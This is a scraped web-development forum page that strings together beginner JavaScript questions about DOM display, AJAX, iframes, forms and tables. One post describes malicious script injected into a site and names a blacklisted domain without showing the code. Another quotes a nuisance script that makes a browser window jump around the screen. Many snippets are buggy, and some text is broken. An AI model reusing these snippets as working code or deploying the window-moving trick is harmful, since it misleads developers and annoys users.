JavaScript - Displaying Html Code Only On Specific Pages
Basically what I need to do is cause a bit of HTML to only display on a specific page. I have figured out how to do most of the work i.e. figuring out what page that the code is being displayed on, etc. However, for some reason the DOM element that I am using will not update based on the Javascript. I have searched the Internet for a solution and unfortunately I have found none.
Here is the version of the code that I am currently working on: Code: <html> <head> <script type="text/javascript"> window.onload = function DisplayButton() { var DesiredPage = 'Page to Display'; //Page that I want the code to display on var sPath = window.location.pathname; var sPage = sPath.substring(sPath.lastIndexOf('/') + 1); //This determines and places in a variable what page that the code will be on if (sPage == DesiredPage) { document.getElementById('HiddenCode').style.display = "block"; } } </script> <p Id="HiddenCode" style="display:none">Code only to be displayed on indicated page</p> </head> </html> I am somewhat new to Javascript so I feel like I might be missing something obvious here. Thank You to anyone who can help. Zbot Similar TutorialsAnother thing that has been driving me crazy is that css positioning is handled differently by different browsers. JS is not my area, but I can do a lot with CSS, and I do, but cross browser compatibility is killing me. I can use an IF IE statement and only IE runs that segment of code, but I haven't been able to figure out out how to make ONLY firefox or ONLY opera or safari enact an encapsulated segment of code. The same type of IF statement doesn't work for them. Is there a single method using JS that works for all browsers? Thre is probably a very simple answer and I am just missing it somehow. Hello, I have an html script and a .php script. The .php requests a random word from a table of words in a mysql database. I wrote a html form to display the requested word in a text box. Here is my html file: Code: <html> <body> <script type="text/javascript"> function myfunction() { var xmlhttp; if(window.XMLHttpRequest) { xmlhttp= newHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState==4) { document.myLingo.word.value=xmlhttp.responseText; } } xmlhttp.open("GET", "get_Word.php",true); xmlhttp.send(null); } </script> <form name="myLingo"> <input type="button" name="button" value="New Word" onClick="myFunction();" /> <input type="text" name="word" /> </form> </body> </html> and here is my .php script: Code: <?php $con=mysql_connect('localhost', 'xxxx', 'xxxx'); if (!$con) { die('Could not connect: '.mysql_error()); } mysql_select_db("my_lingo", $con); $sql=mysql_query("SELECT `word` FROM `words` ORDER BY RAND()") or trigger_error('Error: ' .mysql_error()); $word=mysql_fetch_array($sql); echo $word[0]; mysql_close($con); ?> When I run this in Internet Explorer; I get a error that is asking for an object on line 32 which is the line that has my button in the javascript. When i run it in firefox, I don't receive an error, but the page still does nothing. Any suggestions? The main function of the page is that, when I click the button, it's supposed to return me a random word from the .php script Thanks, jcjst21 I am having a problem with my homework displaying an iframe using JavaScript. My homework states: Insert a script element that does the following: part a. Insert the following multiline comment: Display the daily schedule in an inline frame. Daily schedules are stored in the files sunday.html through saturday.htm. part b. Insert a command to write the HTML code <iframe src="weekday.htm'></iframe> to the Web page, where weekday is the text string returned by the weekDay() function. What I have so far: <script type= "text/javascript"> /* Display part a */ document.write("<iframe src='weekday.htm'></iframe">; </script> My Question: How do I display weekday.htm within my script on a specific day using the function weekDay() function. below is my weekDay() function: function weekDay(){ thisDate = new Date(); var thisWDay=thisDate.getDay(); var wdName = new Array("sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"); return wdName[thisWDay]; } Hi, I coded the following JavaScript: Code: var el = document.createElement("iframe"); el.setAttribute('id', 'ifrm'); document.body.appendChild(el); el.setAttribute('height', 250); el.setAttribute('width', 300); el.setAttribute('frameborder', 0); el.setAttribute('marginheight', 0); el.setAttribute('marginwidth', 0) el.setAttribute('src', 'http://example.com/?pub=1&format=image&size=300x250&url='+window.location); And am putting it between <script type="text/javascript"> and </script> tags in the <body> section of my site. But, it only works in certain areas of the page. Can you guys think of any reason for this? Let me know... Thanks, ~Christian hello, i am looking a a specific javascript code for a school project. what the code does is it re-sizes your window to a specific size, and then makes it jump around to the four corners of your screen. a perfect example of this would be the rick roll site called http://www.20b.org/rickroll.html its best viewed in internet explorer, and will take effect after you allow it on the top pop up window. it seems that the latest version of firefox disables the window resizing and movement, so use IE. after examining the page source, i managed to find this code. window.resizeTo(640,625); window.moveTo(0,0); for (i = 1; i <= 9; i++){ setTimeout('window.moveTo(1599,1199);', i+"000"); i++; setTimeout('window.moveTo(0,1199);', i+"000"); i++; setTimeout('window.moveTo(1599,0);', i+"000"); i++; setTimeout('window.moveTo(0,0);', i+"000"); } the code worked perfectly on the macs used at school. but however, when i took it home and tried it on my PC, which has a different sized monitor, it didnt work right. my copied code section seemed to jump off the edges of the screen, like it was using the size of a Macs monitor, yet the original website works fine. this led me to believe that the source code seems to find the size of the monitor and adjust the position of where it moves. i cant seem to find that part of the code. any help would be appreciated I have a document that contains four forms. I want to run a function only in the form the user is currently in. I keep getting the "document.my_form_name is undefined" error. I've tried all sorts of ways of doing this but can't find a solution. Here's a snippet of the HTML: Code: <form id="my_form_1" name="my_form_1" action="some action" method="POST"> // in here I call the function onchange_display_sel_droplist and // pass through the name of the form </form> <form id="my_form_2" name="my_form_2" action="some action" method="POST"> bla bla </form> Here's the part of the function in question: Code: function onchange_display_sel_droplist(my_value, my_object, my_text_obj, my_form_name) { // create array with all the divs found var arr = new Array(); arr = document.my_form_name.getElementsByTagName( "div" ); // loop through array for(var i=0; i < arr.length; i++) { var tagId = document.my_form_name.getElementsByTagName( "div" ).item(i).id; // find all the divs with ID "my_selected_div__" if ( tagId.indexOf("add_selected_div__") > -1 ) { // hide all document.my_form_name.getElementById(tagId).style.display = "none"; } } // display selected object (droplist) document.my_form_name.getElementById(my_object).style.display = ""; } I'm a bit of a Javascript noob, so please bear with me! I'm trying to create a piece of code that will check a webpage and replace any instances of a specific line of HTML with another line of HTML. The code I have so far doesn't work, but I have a feeling that's down to my awful Javascript skills! For example, in the following code I'd want to replace all instances of <li><a href="index.pdf">Index</a></li> with <li><a href="contents.pdf">Contents</a></li> Code: <div id="downloads"> <p>Please click on your downloads below:</p> <ul> <li><a href="index.pdf">Index</a></li> <li><a href="chapter1.pdf">Chapter 1</a></li> <li><a href="chapter2.pdf">Chapter 2</a></li> <li><a href="chapter3.pdf">Chapter 3</a></li> <li><a href="credits.pdf">Credits</a></li> </ul> </div> The Javascript I have so far is: Code: <script type="text/javascript"> var aEls = document.getElementsByTagName('a'); for (var i = 0, aEl; aEl = aEls[i]; i++) { aEl.href = aEl.href.replace('index.pdf','contents.pdf'); } Obviously this is meant to just replaces the a href elements, but I got a bit stuck after this! Any pointers would be much appriciated. So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this!

I would appreciate any helpful. Just he! Well after much trial and error I come asking for help. I am trying to write a greasemonkey script that scans a page for all the values between certain <td> tags. When I used firebug it shows what I am looking for as <td class="username">THEUSERNAME</td> but when I view the source it just shows up as <td>THEUSERNAME</td> I want to create an array of the 100 <td>'s on the page that pertain to usernames but none of the other <td>'s I created a test page that mimicked the code, what I thought origionally, to be so I could test my script with ease. And it worked when there was an actually <td class="username"> This is what I have so far: Code: // ==UserScript== // //Displayable Name of your script // @name EXAMPLE // // brief description // @description EXAMPLE // //URI (preferably your own site, so browser can avert naming collisions // @namespace http://something.com // // Your name, userscript userid link (optional) // @author ME // //Version Number // @version 1.0 // // Urls process this user script on // @include http://example.com // ==/UserScript== var test = document.getElementsByClassName('username'); alert(test.length); test[5].style.color="yellow"; //Just to see if it actually worked How do I replace the string "rpg" only present in between <et> tags ? Code: <et>ReplaceOnlyrpg</et> After replacement it should look like this Code: <et>ReplaceOnly</et> Any advice is appreciated. Thank you I have an array that has user accounts and need to pass it to another page. How can i do this? My teacher said we can only use html and javascript.
I am creating a script to display some variable but it won't work. Did I do something wrong? Code: <script type="text/javascript"> /* <![CDATA[ */ var yotta = le24; var zetta = le21; document.write("<table border='1' width='100%'><tr><th>Prefix</th><th>Decimal Equivalent</th></tr>"); document.write("<tr><td>Yotta</td><td>" + yotta + "</td></tr>"); document.write("<tr><td>Zetta</td><td>" + zetta + "</td></tr>"); document.write("</table>"); /* ]]> */ </script> Everything looks right, I think. Anyone see something wrong? Thank you, I am a firefighter of 25 years. Hi, Im using a authoring tool to develop an elearning test course. The course is composed of several HTML pages with Buttons for the multiple choice test. The setup of the course is that it will only ask 10 questions out of a pool of 30 questions. When the HTML & JS files are online, the test takes 20-40seconds to load. I believe it is related to the code that selects the 10 questions from the 30. I've singled out the code that does the select random pages... Is there any way to optimize the code? I've attached the HTML (in txt format) page where the javascript can be found. Looking forward to your replies! I have about 100 pages of HTML, and I want to only have to put in the specific data once. My Javascript is rusty and I am on a short fuse, unfortunately, so some help would be appreciated. All pages have one picture with URL path to the image, an initial width, and a title string. I would like to define these once in a Javascript etc, and have a script plug those values into the page Title, the width of the pic <img> tag, the URL of the src of the pic, and a text title in the body (above the pic) of the page. -- I think I need <body onload="mySetup('myTitle string', picWidth, '<picURL>')> then in the script I would need: window.title = myTitle; bodyText.innerHTML = myTitle; myPic.width = picWidth; myPic.src = picURL; myPic.alt = myTitle; then <img id="myPic" onclick="myClickHandler( )"> --------------- But messing about with this has not gotten me a working page. Would some kind person help out? Thanks! Hello everyone, my 1st post here and my 1st day with javascript! I am having some problems with the below script: Code: <html> <head> <title></title> <script type="text/javascript"> var electronics = ["mobiles", "hi-fi"]; var entertainment = ["books", "dvds",]; function check(checkboxid) { document.getElementById(checkboxid).checked = "checked"; } function visiblox(arrDiv, hs) { var disp = (hs) ? "none" : "block"; for(var x = 0; x < arrDiv.length; x++) { document.getElementById(arrDiv[x]).style.display = disp; } } function chk(what, item) { if(item) { visiblox(what, false); } else { visiblox(what, true); } } </script> <style type="text/css"> <!-- .hide { display: block; } .hide { display: none; } --> </style> </head> <body> <img src="images/electronics.png" onclick="check('electronics');"> <input type="checkbox" id="electronics" onchange="chk(electronics, this.checked);" > <br> <input type="checkbox" onclick="chk(entertainment, this.checked);"> Entertainment<br> <br> <br> <div id="mobiles" class="hide">Mobiles</div><br> <div id="hi-fi" class="hide">Hi-Fi</div><br> <div id="books" class="hide">Books</div><br> <div id="dvds" class="hide">DVD's</div><br> </body> </html> Basically what happens is, when you select a checkbox it displays the relevant divs, this works fine with the entertainment checkbox in the code. What I am trying to achieve is use an image to trigger the checkbox (which will be hidden) and the run the chk code to display the divs What actually happens when you click the image the checkbox does become checked, however the divs do not display, if I uncheck the checkbox itself and then check the actual checkbox then it works. Basically getting very frustrated as I can't seem to see whats wrong! I am guessing that for some reason the check code stops the chk running, but I dont know why! Many thanks for any help favorite I'd like to modify a form on www.formsite.com (form builder app): username: testuser password: password I would like to use the nicedit.com's inline content editor's js to transform my textarea's into a richtext area. At present the nicedit editor works well in creating the richtextarea. However, the KEY point is that I would like formsite's form to pipe in the the created html and render it with the html component of formsite. Currently, the pipe function in formsite will only put out the html syntax in it's html module. action seen he http://fs8.formsite.com/testform/form1/index.html So this would be: 1. checking out my form on formsite.com 2. the script from nicedit.com is already installed in an html component. 3. changing or telling me the scripts/tags/or whatever for formsite form using formsites form builder (which allows some html/script editing). 4. changed so as to render the rich text entered on page 1 in page 2 instead of the html syntax. Any other solutions using formsite and any other richtextarea solutions would be great too! Hi, I'm having problems displaying images on a site. Basically I have a to change an image each time a button is pressed on a piece of hardware. This is the code to detect a button press Code: // Check Button tstileo = new Image(); tstilec = new Image(); tstileo.src = '/images/1.jpg'; tstilec.src = '/images/2.jpg'; document.getElementById('btn0').innerHTML = (getXMLValue(xmlData, 'btn0') == 'up') ? document.Image=(tstileo): document.Image=(tstilec); So when the button is pressed/unpressed it should display tstileo and tstilec What format should my HTML code be to display the image ? This is whats there at the moment Code: <span id="btn0">?</span></p> When running all I get is text saying Code: [OBJECT HTMLImageElement] This site is being hosted on a microchip, btn0 is a press button switch on the board. The idea is to use this as a remote monitoring system. It runs Javascript XML HTML and CSS. Any help would be greatly appreciated, I have spent hours searching for a way to do this ( simple ? ) task but haven't got any further than this. Thanks Jay Hey the Title basically says I need a way to read the iframe url even when you navigate to a different page it will read again and keep tracking where the URL is on.

Javascript HTML PHP Is used Hey, i am just trying to learn javascript and my friend gave me a little assignment to try and figure out. i am having trouble figuring it out and need some help. basically i just want to display the information in my associative array, into an html table. var NFC_east = new Array(); NFC_east[0]=["Giants", 16, 0, "Eli Manning"]; NFC_east[1]=["Cowboys", 0, 16, "Tony Romo"]; NFC_east[2]=["Redskins", 0, 16, "Donnovan McNabb"]; NFC_east[3]=["Eagles", 0, 16, "Mike Vick"]; that's my array. now i need to display that in a table with a Team column, wins column, loses column, and a quarterback column. i basically want to do this using a for loop, and he gave me a hint about using a nested while loop as well somehow. i know i need to use getElementById, id, and innerHTML stuff but i just don't know how to do it. i cant find anything to help me with this simple task, hoping someone here could help. |
